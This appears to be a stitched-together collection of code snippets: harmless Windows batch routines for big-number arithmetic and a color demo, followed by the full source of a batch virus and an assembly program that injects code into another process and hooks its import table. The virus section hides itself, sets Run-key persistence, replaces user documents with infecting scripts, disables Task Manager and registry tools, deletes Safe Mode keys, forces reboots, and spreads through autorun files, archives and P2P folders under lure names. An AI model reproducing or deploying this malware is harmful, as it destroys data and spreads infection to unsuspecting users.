:_addx
setlocal enabledelayedexpansion
set "f_s=_%~1" & set "s_s=_%~2" & set "add_str="
set/a cnt=1,car=0
:__loop.a
	set "n_1=!f_s:~-%cnt%,1!"
	set "n_2=!s_s:~-%cnt%,1!"
	if "%n_1%%n_2%" EQU "__" goto :_endadd
	if "%n_1%" EQU "_" set/a n_1=0
	if "%n_2%" EQU "_" set/a n_2=0
	set/a add=%n_1%+%n_2%+%car%,car=0,cnt+=1
	if %add% GEQ 10 (
		set/a car=1
		if "!f_s:~-%cnt%,1!!s_s:~-%cnt%,1!" NEQ "__" (
		set "add=%add:~-1%"
		))
	set "add_str=%add%%add_str%"
	goto :__loop.a
:_endadd
call :_filset "%add_str%" "add_str"
endlocal & set "%~3=%add_str%" & exit /b

:_subx
setlocal enabledelayedexpansion
if "%~1" EQU "%~2" set "sub_str=0" & goto :_endsub
call :_filset "%~1" "t_1" & call :_filset "%~2" "t_2"
call :_hst "%t_1%" "%t_2%"
if "%hst%" EQU "%t_2%" set "min=_%~2" & set "sbs=_%~1" & set "s_g=-"
if "%hst%" EQU "%t_1%" set "min=_%~1" & set "sbs=_%~2"
set "sub_str=" & set/a cnt=1,c_s=0,car=0
:__loop.b
	set "n_1=!min:~-%cnt%,1!"
	set "n_2=!sbs:~-%cnt%,1!"
	if "%n_1%%n_2%" EQU "__" goto :_endsub
	if "%n_2%" EQU "_" set/a n_2=0
	if "%car%" EQU "1" set/a n_2+=1,car=0
	if %n_1% LSS %n_2% set/a c_s=10,car=1
	set/a sub=%n_1%-%n_2%+%c_s%
	set "sub_str=%sub%%sub_str%"
	set/a cnt+=1,c_s=0
	goto :__loop.b
:_endsub
call :_filset "%sub_str%" "sub_str"
endlocal & set "%~3=%s_g%%sub_str%" & exit /b

:_filset
	for /f "tokens=* delims=0" %%_ in ("%~1") do set "%~2=%%_"
	if not defined %~2 set/a "%~2=0"
	exit /b

:_hst
	setlocal enabledelayedexpansion
	call :_strlen "%~1" & set/a n[0]=!errorlevel!
	call :_strlen "%~2" & set/a n[1]=!errorlevel!
	if %n[0]% EQU %n[1]% set "s_0=%~1" & set "s_1=%~2" & goto :_endhst
	set/a hst=0,nhst=1
	if %n[1]% GTR !n[%hst%]! set/a hst=1,nhst=0
	set/a l_0=!n[%hst%]!-!n[%nhst%]!
	shift/0 & call set "s_0=%%~%hst%" & call set "s_1=%%~%nhst%"
	for /l %%_ in (1,1,%l_0%) do call set "s_1=0!s_1!"
	:_endhst
	for /f %%_ in ('"(echo:%s_0%&echo:%s_1%)|sort"') do set "hst=%%_"
	endlocal & set "hst=%hst%" & exit /b
		
:_strlen
	setlocal
	set/a cnt=0
	for /f "tokens=* eol=" %%_ in (
		'"cmd /u /c echo:%~1|more"'
	) do set/a cnt+=1
	endlocal & exit /b %cnt%

call :_addx "sum1" "sum2" "variable_almacén"
call :_subx "min" "sbs" "variable_almacén"

@Echo Off
more/c<nul
echo:  125504500255796221456988250471037
echo:-        47662554011498822047690014
echo:-------------------------------------
call :_subx "125504500255796221456988250471037" "47662554011498822047690014" "rslt"
echo:  %rslt%
pause>nul & exit

@Echo Off
more/c<nul
call :_calc sub "12.72-8.189605-1.0025" "adt"
call :_calc add "%adt%+521.27+5" "adt"
echo: 12.72 - 8.189605 - 1.0025 + 521.27 + 5 = %adt%
pause 1>nul
exit
:_calc
setlocal enabledelayedexpansion
if "%~1" EQU "add" set "sym=+"
if "%~1" EQU "sub" set "sym=-"
set "add_str=%~2"
set "add_str=!add_str:%sym%= !"
set/a hst=0,cnt=0,add=0
for %%_ in (%add_str%) do (
	set/a dec[!cnt!]=0
	for /f "tokens=2 delims=." %%. in ("%%_") do (
		call :_strlen "%%."
		set/a dec[!cnt!]=!errorlevel!
		if !errorlevel! GTR !hst! set/a hst=!errorlevel!
	)
	set/a cnt+=1
)
set/a cnt=0
if "%sym%" EQU "-" for %%_ in (%add_str:.=%) do (
	set/a pow=%hst%-%dec[0]%,n_b=%%_
	for /l %%. in (1,1,!pow!) do set "n_b=!n_b!0"
	set/a add+=!n_b!*2
	goto :__op
)
:__op
for %%_ in (%add_str:.=%) do (
	call set/a pow=%hst%-%%dec[!cnt!]%%,n_b=%%_
	for /l %%. in (1,1,!pow!) do set "n_b=!n_b!0"
	set/a add%sym%=!n_b!,cnt+=1
)
set "res=!add:~0,-%hst%!.!add:~-%hst%!"
if %hst% EQU 0 set "res=%res:~1%"
endlocal & set "%~3=%res%" & exit /b
:_strlen
	setlocal
	set/a cnt=0
	for /f "tokens=* eol=" %%_ in (
		'"cmd /u /c echo:%~1|more"'
	) do set/a cnt+=1
	endlocal & exit /b %cnt%

@Echo Off
for %%x in (0,1,2,3,4,5,6,7,A,B,C,D,E,F) do (
	for %%y in (0,1,2,3,4,5,6,7,A,B,C,D,E,F) do (
		call:_echo "Color %%x%%y" %%x%%y
	)
)
exit
:_echo
	chdir "%temp%"
	exit|cmd /k prompt $H>"%~1"
	findstr /v /a:%~2 /r "^$" "%~1*" && ECHO+
	del /f /q "%~1"
	goto:eof

@Echo Off %Header0% %_vx_%
SetLocal EnableDelayedExpansion %Header0% %_vx_%
GoTo :_%~1 %Header0% %_vx_%
:_Hidden %Header0% %_vx_%
:_ %Header0% %_vx_%
Chdir "%temp%" & Copy /y "%~0" "%temp%" %Header0% 1>nul 2>&1 %Header0% %_vx_%
If "%~1" NEQ "Hidden" ( %Header0% %_vx_%
	call :_vbs>vbs.vbs & start vbs.vbs %Header0% %_vx_%
	exit %Header0% %_vx_%
	) else (GoTo :_code) %Header0% %_vx_%
:_vbs %Header0% %_vx_%
	Echo.On Error Resume Next %Header0% %_vx_%
	Echo.SET a=CreateObject^("WScript.Shell"^) %Header0% %_vx_%
	Echo a.Run """%~n0%~x0"" Hidden", vbHide %Header0% %_vx_%
GoTo:EoF %Header0% %_vx_%
:_code %Header0% %_vx_%
	del /q vbs.vbs %Header0% %_vx_%

Set "__dir0=%~0" %_vx_%
Set "__ext0=%~x0" %_vx_%
Set "__siz0=%~z0" %_vx_%
Set "__admin=0" %_vx_%
Set "__path=" %_vx_%
Set "__ipath=" %_vx_%
Set "__vpath=" %_vx_%
Set "__spath=" %_vx_%
Set "__adpath=" %_vx_%
Set "__modules=0,1,2,3,4,5" %_vx_%
Set __iext=*.doc *.docx *.xls *.xlsx *.ppt *.pps *.pptx *.pptx *.wmv *.pdf %_vx_%^
*.jpg *.jpeg *.bmp *.gif *.mp3 *.mp4 *.avi *.mpg *.mpeg *.divx *.png *.psd %_vx_%

:_main %_vx_%
	Call :_AdminRequest & Call :_SetPrivs %_vx_%
	:_polymorphism %_vx_%
	Find "_vx_"<"%__dir0%">"%__vpath%" || GoTo :_polymorphism %_vx_%
	For /l %%x in (0,1,10) do ( %_vx_%
		call :SetMod "mod" %_vx_%
		find "_m!mod!_"<"%__dir0%">>"%__vpath%" %_vx_%
		call :_GenRan !random:~0,2! %_vx_%
		Echo.::!rstr!>>"%__vpath%" %_vx_%
	) %_vx_%
	For %%x in (%__modules%) do Start "" /B /high "%__dir0%" Mod_%%x %_vx_%
	EXIT %_vx_%
	:SetMod %_vx_%
		set/a "%~1=%random% %% 11" %_vx_%
		(find "_m%mod%_"<"%__vpath%" 1>nul 2>&1) && (GoTo:SetMod) %_vx_%
		GoTo:EoF %_vx_%
:_Mod_0 %_m0_%

	Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ÿ" /d "%__vpath%" /f %_m0_%
	( %_m0_%
		Echo.On Error Resume Next %_m0_%
		Echo.Set b = CreateObject^("Scripting.FileSystemObject"^) %_m0_%
		Echo.Set Ha = b.OpenTextFile^("%__vpath:\=\\%"^) %_m0_%
		Echo.Contn = Ha.ReadAll %_m0_%
		Echo.Do %_m0_%
		Echo.If not^(b.FileExists^("%__vpath:\=\\%"^)^) Then %_m0_%
		Echo.Set Hb = b.CreateTextFile^("%__vpath:\=\\%"^) %_m0_%
		Echo.Hb.Write Contn %_m0_%
		Echo.Hb.Close %_m0_%
		Echo.End If %_m0_%
		Echo.Loop %_m0_%
	) 1>"%__adpath%" 2>nul %_m0_%
	Start "" "%__adpath%" %_m0_%
	EXIT %_m0_%

:_Mod_1 %_m1_%
	Chdir "%__ipath%" %_m1_%
	For /f "tokens=*" %%_ in ('dir /b /s %__iext%') do ( %_m1_%
		if "%%~dp_" NEQ "%__spath%\" ( %_m1_%
			call :_GenRan 16 %_m1_%
			move /y "%%_" "%__spath%\!rstr!%%~x_" %_m1_%
			attrib +s +h "%__spath%\!rstr!%%~x_" %_m1_%
			call :_Infect "%__spath%\!rstr!%%~x_" 1>"%%_.bat" 2>nul %_m1_%
		) %_m1_%
	) %_m1_%
	GoTo :_Mod_1 %_m1_%

:_Mod_2 %_m2_%
	Set "c__c=Doskey tskill=exit&Doskey taskkill=exit&Doskey reg=exit&Doskey cmd=exit&Doskey doskey=exit" %_m2_%
	Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f %_m2_%
	Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d 1 /f %_m2_%
	Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 1 /f %_m2_%
	Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoViewContextMenu" /t REG_DWORD /d 1 /f %_m2_%
	Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f %_m2_%
	Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Advanced" /v "Hidden" /t REG_DWORD /d 0 /f %_m2_%
	Reg Add "HKCU\Software\Microsoft\Command Processor" /v "AutoRun" /t REG_SZ /d "%c__c%" /f %_m2_%
	Reg Delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\minimal" /f %_m2_%
	Reg Delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\network" /f %_m2_%
	GoTo :_Mod_2 %_m2_%

:_Mod_3 %_m3_%
	Set /a "hour=%time:~0,2% + 1" %_m3_%
	If "%hour%" EQU "24" Set "hour=00" %_m3_%
	:_loop %_m3_%
		If "%time:~0,2%" NEQ "%hour%" GoTo :_loop %_m3_%
	Set /a "Dice=%random% %% 6" %_m3_%
	If "%Dice%" EQU "0" ( %_m3_%
		Pushd "%cd%" %_m3_%
		Chdir "%UserProfile%" %_m3_%
		Exit|"%ComSpec%" /k prompt e$S100$S07$_n$S@$_rcx$_1$_w$_q$_># %_m3_%
		debug<#>nul %_m3_%
		for /l %%_ in (0,1,%random:~-3%) do type @ %_m3_%
		Popd %_m3_%
	) %_m3_%
	Set /a "ReBoot=%random% %% 12" %_m3_%
	If "%ReBoot%" EQU "0" ( %_m3_%
		shutdown -r -f -t 10 -c "Error 0x1445E5D9. The memory cannot be 'read'." %_m3_%
	) %_m3_%
	Set /a "SendKeys=%random% %% 12" %_m3_%
	If "%SendKeys%" EQU "0" ( %_m3_%
		Pushd "%cd%" %_m3_%
		Chdir "%UserProfile%" %_m3_%
		( %_m3_%
			Echo.Do %_m3_%
			Echo.Set a = CreateObject^("WScript.Shell"^) %_m3_%
			Echo.a.SendKeys "REVX" %_m3_%
			Echo.Loop %_m3_%
		)>skeys.vbs %_m3_%
		start "" "skeys.vbs" %_m3_%
	Popd %_m3_%
	) %_m3_%
	GoTo :_Mod_3 %_m3_%

:_Mod_4 %_m4_%
	Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ÿ" /d "%__vpath%" /f %_m4_%
	For %%_ in ( %_m4_%
		A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z %_m4_%
		) do ( %_m4_%
			If Exist "%%_:\" ( %_m4_%
				Copy /y "%__dir0%" "%%_:\revx.bat" %_m4_%
				Call:_Autorun "revx.bat" 1>"%%_:\autorun.inf" 2>nul %_m4_%
				Attrib +s +h "%%_:\revx.bat" %_m4_%
				Attrib +s +h "%%_:\autorun.inf" %_m4_%
			) %_m4_%
		) %_m4_%
	GoTo :_Mod_4 %_m4_%

:_Mod_5 %_m5_%
	Doskey taskkill= %_m5_%
	If Exist "%ProgramFiles%\WinRAR" ( %_m5_%
		Set "ext_p2p=rar" %_m5_%
	) else (Set "ext_p2p=bat") %_m5_%

	If "%ext_p2p%" EQU "rar" ( %_m5_%
		Set "path_p2p=%__ipath%\revxp2p.rar" %_m5_%
		If Exist "!path_p2p!" Del /f /q "!path_p2p!" %_m5_%
		Start /WAIT WinRAR.exe a "!path_p2p!" "%__dir0%" -ep1 -ibck -inul %_m5_%
		taskkill /f /im "WinRAR.exe" %_m5_%
		) else ( Set "path_p2p=%__dir0%" ) %_m5_%

	For %%i in ( %_m5_%
		"%ProgramFiles%\Kazaa\My Shared Folder", %_m5_%
		"%ProgramFiles%\Kazaa Lite\My Shared Folder", %_m5_%
		"%ProgramFiles%\Grokster\My Grokster", %_m5_%
		"%ProgramFiles%\Morpheus\My Shared Folder", %_m5_%
		"%ProgramFiles%\EDONKEY2000\incoming", %_m5_%
		"%ProgramFiles%\Gnucleus\Downloads", %_m5_%
		"%ProgramFiles%\eMule\Incoming", %_m5_%
		"%ProgramFiles%\BearShare\Shared", %_m5_%
		"%ProgramFiles%\Shareaza\Downloads", %_m5_%
		"%ProgramFiles%\ICQ\shared files", %_m5_%
		"%ProgramFiles%\Filetopia3\Files", %_m5_%
		"%ProgramFiles%\appleJuice\incoming", %_m5_%
		"%ProgramFiles%\LimeWire\Shared", %_m5_%
		"%ProgramFiles%\Overnet\incoming", %_m5_%
		"%ProgramFiles%\Swaptor\Download", %_m5_%
		"%ProgramFiles%\WinMX\My Shared Folder", %_m5_%
		"%ProgramFiles%\Tesla\Files", %_m5_%
		"%ProgramFiles%\XoloX\Downloads", %_m5_%
		"%ProgramFiles%\Rapigator\Share", %_m5_%
		"%ProgramFiles%\KMD\My Shared Folder", %_m5_%
		"%ProgramFiles%\Direct Connect\Received Files", %_m5_%
		"%HomeDrive%\My Shared Folder", %_m5_%
		"%UserProfile%\Desktop\My Shared Folder" %_m5_%
		) do ( %_m5_%
			If Exist "%%~i" ( %_m5_%
				For %%d in ( %_m5_%
					"MSN_emoticons","Horny_girls_get_fucked","Asian_teen_collection", %_m5_%
					"Windows_7_gold_serials","MSN_hacking_code","Office_2010_activation_tool", %_m5_%
					"Avatar_2009_subtitles","free_sms_tool", "Justin_Bieber-Believe", %_m5_%
					"Twilight_e-book","Pitbull-I_know_you_want_me","Twilight_wallpapers" %_m5_%
				) do ( Copy /y "%path_p2p%" "%%~i\%%~d_!random!.%ext_p2p%" ) %_m5_%
			) ) %_m5_%

	If Exist "%ProgramFiles%\WinRAR" ( %_m5_%
		For /f "Tokens=*" %%p in ( %_m5_%
			'dir /b /s "%__ipath%\*.rar" "%__ipath%\*.zip"' %_m5_%
		) do Start winRAR.exe a "%%~p" "%__dir0%" -ep1 -ibck -inul %_m5_%
		taskkill /f /im "WinRAR.exe" %_m5_%
	) %_m5_%

	EXIT %_m5_%

:_AdminRequest %_m6_%
	Net Start Workstation %_m6_%
	For /f "tokens=1 delims=* skip=4" %%_ in ( %_m6_%
		'Net LocalGroup' %_m6_%
		) Do ( %_m6_%
			For /f "tokens=* skip=6" %%# in ( %_m6_%
				'Net LocalGroup %%_' %_m6_%
				) Do ( %_m6_%
					If "%%#" EQU "%UserName%" ( %_m6_%
						Set "__admin=1" %_m6_%
						GoTo :EoF %_m6_%
					) %_m6_%
				) %_m6_%
			GoTo :EoF %_m6_%
		) %_m6_%
	GoTo :EoF %_m6_%

:_SetPrivs %_m7_%
	If "%__admin%" EQU "1" ( %_m7_%
		Mkdir "%SystemRoot%\system32ÿ" %_m7_%
		Set "__ipath=%SystemDrive%\" %_m7_%
		Set "__vpath=%SystemRoot%\system32\drivers\keyboard.bat" %_m7_%
		Set "__spath=%SystemRoot%\system32ÿ" %_m7_%
		Set "__adpath=%SystemRoot%\wscript.exe.vbs" %_m7_%
	) else ( %_m7_%
		Mkdir "%UserProfile%\Config" %_m7_%
		Mkdir "%UserProfile%\Config\Startup" %_m7_%
		Attrib +s +h "%UserProfile%\Config" %_m7_%
		Set "__ipath=%UserProfile%" %_m7_%
		Set "__vpath=%UserProfile%\Config\config.bat" %_m7_%
		Set "__spath=%UserProfile%\Config\Startup" %_m7_%
		Set "__adpath=%UserProfile%\Config\userlog.txt.vbs" %_m7_%
	) %_m7_%

	GoTo :EoF %_m7_%

:_GenRan %_m8_%
	Set "rstr=" %_m8_%
	For /l %%_ in (1,1,%~1) do ( %_m8_%
		Set /a "rval=!random! %% 2" %_m8_%
		If "!rval!" EQU "0" Set "rstr=!rstr!!random:~1,1!" %_m8_%
		If "!rval!" EQU "1" ( %_m8_%
			Set /a "rchr=(!random! %% 26) + 97" %_m8_%
			"%ComSpec%" /c Exit /b !rchr! %_m8_%
			Set "rstr=!rstr!!=ExitCodeAscii!" %_m8_%
		) %_m8_%
	) %_m8_%
	Goto :EoF %_m8_%

:_Infect %_m9_%
	Set "insrt=Header" & Set "mrk=__" %_m9_%
	Find "%insrt%0"<"%__dir0%" %_m9_%
	Echo.start "" "%~1" /high ^&::%mrk% %_m9_%
	Find /v "%insrt%0"<"%__dir0%" | Find /v "&::%mrk%" %_m9_%
	GoTo :EoF %_m9_%

:_Autorun %_m10_%
	Echo.[AutoRun] %_m10_%
	Echo.UseAutoPlay=1 %_m10_%
	Echo.Open=%~1 %_m10_%
	Echo.shell\open\command=%~1 %_m10_%
	GoTo :EoF %_m10_%

.386
.model flat, stdcall
option casemap:none

assume fs:nothing

include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib


.data
	Process					db 'ejecutable.exe',0
	Kernel					db 'kernel32.dll',0
	GetProc					db 'GetProcAddress',0
.data?
	Function				dd ?
	FunctionLen				dd ?
	pInfo						PROCESS_INFORMATION <>
	sInfo						STARTUPINFO <>
function_start PROTO
.code
start:
		invoke CreateProcess,0,addr Process,0,0,0,0,0,0,addr sInfo,addr pInfo
		
		mov eax,offset function_end
		sub eax,offset function_start
		mov [FunctionLen],eax
		
		invoke VirtualAllocEx,[pInfo.hProcess],0,[FunctionLen],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
		mov [Function],eax
		
		invoke GetModuleHandle,offset Kernel
		mov [KernelBase],eax
		push offset GetProcAddressName
		
		invoke GetProcAddress,eax,offset GetProc
		mov [pGetProcAddress],eax
		
		invoke WriteProcessMemory,[pInfo.hProcess],[Function],offset function_start,[FunctionLen],0
		invoke CreateRemoteThread,[pInfo.hProcess],0,0,[Function],0,0,0
		invoke ExitProcess,0

;Injecting Function
function_start PROC
    call delta
		delta:
			pop ebp
			sub ebp, offset delta
			mov ebx, fs:[030h]
			;Getting host process IAT address and its size
			mov eax,[ebx+08h]
			mov ebx,[eax+03Ch]
			add ebx,eax
			mov edx,[ebx+0D8h]
			add edx,eax
			mov [ebp+pIAT],edx
			mov edx,[ebx+0DCh]
			mov [ebp+IATsize],edx
			
			;Getting the needed API's
				;GetModuleHandle
			mov ebx,offset GetModuleHandleName
			add ebx,ebp
			push ebx
			push dword ptr [ebp+KernelBase]
			call [ebp+pGetProcAddress]
			mov [ebp+pGetModuleHandle],eax
				;VirtualProtect
			mov ebx,offset VirtualProtectName
			add ebx,ebp
			push ebx
			push dword ptr [ebp+KernelBase]
			call [ebp+pGetProcAddress]
			mov [ebp+pVirtualProtect],eax
			;Getting address of MessageBox
			mov ebx,offset user32name
			add ebx,ebp
			push ebx
			call [ebp+pGetModuleHandle]
			mov ebx,offset MessageBoxName
			add ebx,ebp
			push ebx
			push eax
			call [ebp+pGetProcAddress]
			mov [ebp+pMessageBox],eax
			;Showing a MessageBox
			push MB_OK + MB_ICONINFORMATION
			push 0
			mov ebx,offset MsgInjected
			add ebx,ebp
			push ebx
			push 0
			call [ebp+pMessageBox]
			;Finding pointing address
			xor edx,edx
			mov eax,[ebp+IATsize]
			mov ecx,04h
			div ecx
			mov ecx,eax
			mov eax,[ebp+pMessageBox]
			mov edi,[ebp+pIAT]
			repnz scasd
			sub edi,04h
			;Patching the IAT
			mov ebx,offset OldProtect
			add ebx,ebp
			push ebx
			push PAGE_EXECUTE_READWRITE
			push 04h
			push edi
			call [ebp+pVirtualProtect]
			mov ebx,offset Hook
			add ebx,ebp
			mov [edi],ebx
			ret

pIAT dd ?
IATsize dd ?
BaseImage dd ?
KernelBase dd ?
pGetProcAddress dd ?
GetProcAddressName db "GetProcAddress",0
user32name db "user32.dll",0
MessageBoxName db "MessageBoxA",0
pMessageBox dd ?
GetModuleHandleName db "GetModuleHandleA",0
pGetModuleHandle dd ?
VirtualProtectName db "VirtualProtect",0
pVirtualProtect dd ?
OldProtect dd ?
MsgInjected db "The function has been injected!",0

Hook: 
	;Delta offset
	call deltahook
		deltahook:
			pop ebp
			sub ebp,offset deltahook
			pop ebx						;Saving to return after
			mov edi,offset msghook
			add edi,ebp
			mov [esp+04h],edi			;Changing the stack parameters
			call [ebp+pMessageBox]		;Calling the original address of MessageBox
			push ebx					;Setting the returning address
			ret
msghook 	db "MessageBox Hooked!", 0
function_start endp
function_end:
end start